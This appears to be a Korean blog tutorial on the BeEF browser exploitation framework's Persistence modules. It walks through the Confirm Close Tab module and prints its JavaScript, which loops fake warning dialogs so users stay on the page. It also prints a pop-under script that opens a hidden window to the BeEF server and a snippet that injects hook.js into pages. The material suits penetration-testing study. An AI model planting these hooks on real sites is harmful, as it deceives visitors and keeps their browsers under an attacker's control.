BeEF는 hook.js가 삽입된 페이지에서 다른 페이지를 이동하거나, hook.js가 삽입되어 있는 브라우저를 종료할 경우 연결이 종료된다는 단점이 존재한다. 이러한 단점을 조금이나마 보강 하기 위해 Persistence 카테고리가 존재한다. Persistence를 사전에서 찾아보면 (없어지지 않고 오래 동안) 지속됨이라는 뜻을 가지고있다. 사전적 의미 그대로 Persistence 카테고리는 BeEF와 Hooked Browser의 연결을 조금이라도 오래 연결 할 수 있도록 하는 모듈로 구성된 카테고리이다. BeEF 0.4.4.5-alpha를 기준으로 4개의 모듈로 구성되어 있다. 여기서는 2가지 모듈을 살펴보면서, Persistence 카테고리가 어떤 용도로 사용되는지 알아본다.
1. Confirm Close Tab
Confirm Close Tab 모듈은 브라우저의 모든 탭을 닫으려고 할 때 또는 브라우저를 종료하려고 할때 사용자에게 경고성 메시지가 포함된 대화 상자를 띄운다. 대화 상자에는 종료는 하고자 한다면, [확인]을 클릭하라고 되어 있다. 사용자는 대화 상자 및 브라우저를 종료 하기 위해 [확인]을 클릭하면, 다시 동일한 메시지를 포함한 대화 상자를 띄운다. 이렇게 계속 [확인]을 클릭하면, 지속적으로 동일한 내용의 대화 상자를 띄우게 된다. Confirm Close Tab 모듈은 인터넷익스플러에서는 정상 동작하나, 오페라 브라우저는 12버전 이하에서는 동작하지않는다.
Confirm Close Tab 모듈을 사용하기 위해서는 Commands 탭에서 Persistence카테고리에 존재하는 Confirm Close Tab를 선택한다. Confirm Close Tab모듈을 선택하면, 오른쪽 하단에 [Execute] 버튼이 활성화 된다.
[Execute] 버튼을 클릭하면, [Module Results History]에 아래와 같이 command가 생성된다.
생성된 command를 클릭하면, 모듈의 command가 실행된다. command가 성공적으로 실행되었다면, 아래와 같이 Command results에 모듈이 성공적으로 실행되었다는 메시지를 출력한다.
모듈이 정상적으로 실행되었으면, Hooked Browser에서 브라우저를 종료하게 되면 아래와 같이 대화 상자가 나타나게 된다. (참고 : 필자는 대화 상자의 메시지를 조금 수정하였다.)
종료하기 위해 [확인]을 클릭하면, 동일 대화 상자를 또 다시 띄운다. 위와 같은 상황에서 [취소]를 클릭할 경우 아래와 같은 대화 상자를 띄운다.
여기서 [확인]을 클릭할 경우 브라우저는 종료가 되며, [취소]를 클릭할 경우 대화 상자만 종료된다.
아래는 Confirm Close Tab 모듈의 command 소스코드이다. Confirm Close Tab 모듈의 핵심은window.onbeforeunload 이다. window.onbeforeunload를 이용하여, 브라우저를 종료를 확인한다. 브라우저가 종료되면, window.onbeforeunload에 의해 confirm() 함수가 동작하여, 최초의 대화 상자를 띄운다. 대대화 상자가 나타나면 [확인]을 클릭하는지 [취소]를 클릭하는지 window.event를 이용하여 키 이벤트를 확인한다. [확인]을 클릭하면 다시 confirm() 함수가 동작되하여 지속적으로 대화 상자를 띄운다.
beef.execute(function() { function display_confirm(){ if(confirm("Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.")){ display_confirm(); } } function dontleave(e){ e = e || window.event; if(beef.browser.isIE()){ e.cancelBubble = true; e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away."; }else{ if (e.stopPropagation) { e.stopPropagation(); e.preventDefault(); e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away."; } } display_confirm(); return "There is currently a request to the server pending. You will lose recent changes by navigating away."; } window.onbeforeunload = dontleave; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Module executed successfully'); }); |
beef.execute(function() { var result = "Pop-under window successfully created!"; window.open('http://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html','popunder', 'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1, left='+screen.width+',top='+screen.height+'').blur(); window.focus(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); }); |
<script> var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>'; document.write(commandModuleStr); </script> |
Kali Linux Mirror 설정 (0) | 2013.12.19 |
---|---|
BeEF On Kali Linux - Commands탭 Social Engineering 카테고리 (0) | 2013.11.08 |
BeEF On Kali Linux - Commands탭 Hooked Domain 카테고리 (0) | 2013.11.07 |
BeEF On Kali Linux - Commands탭 Browser 카테고리 (0) | 2013.11.07 |
BeEF On Kali Linux (0) | 2013.10.25 |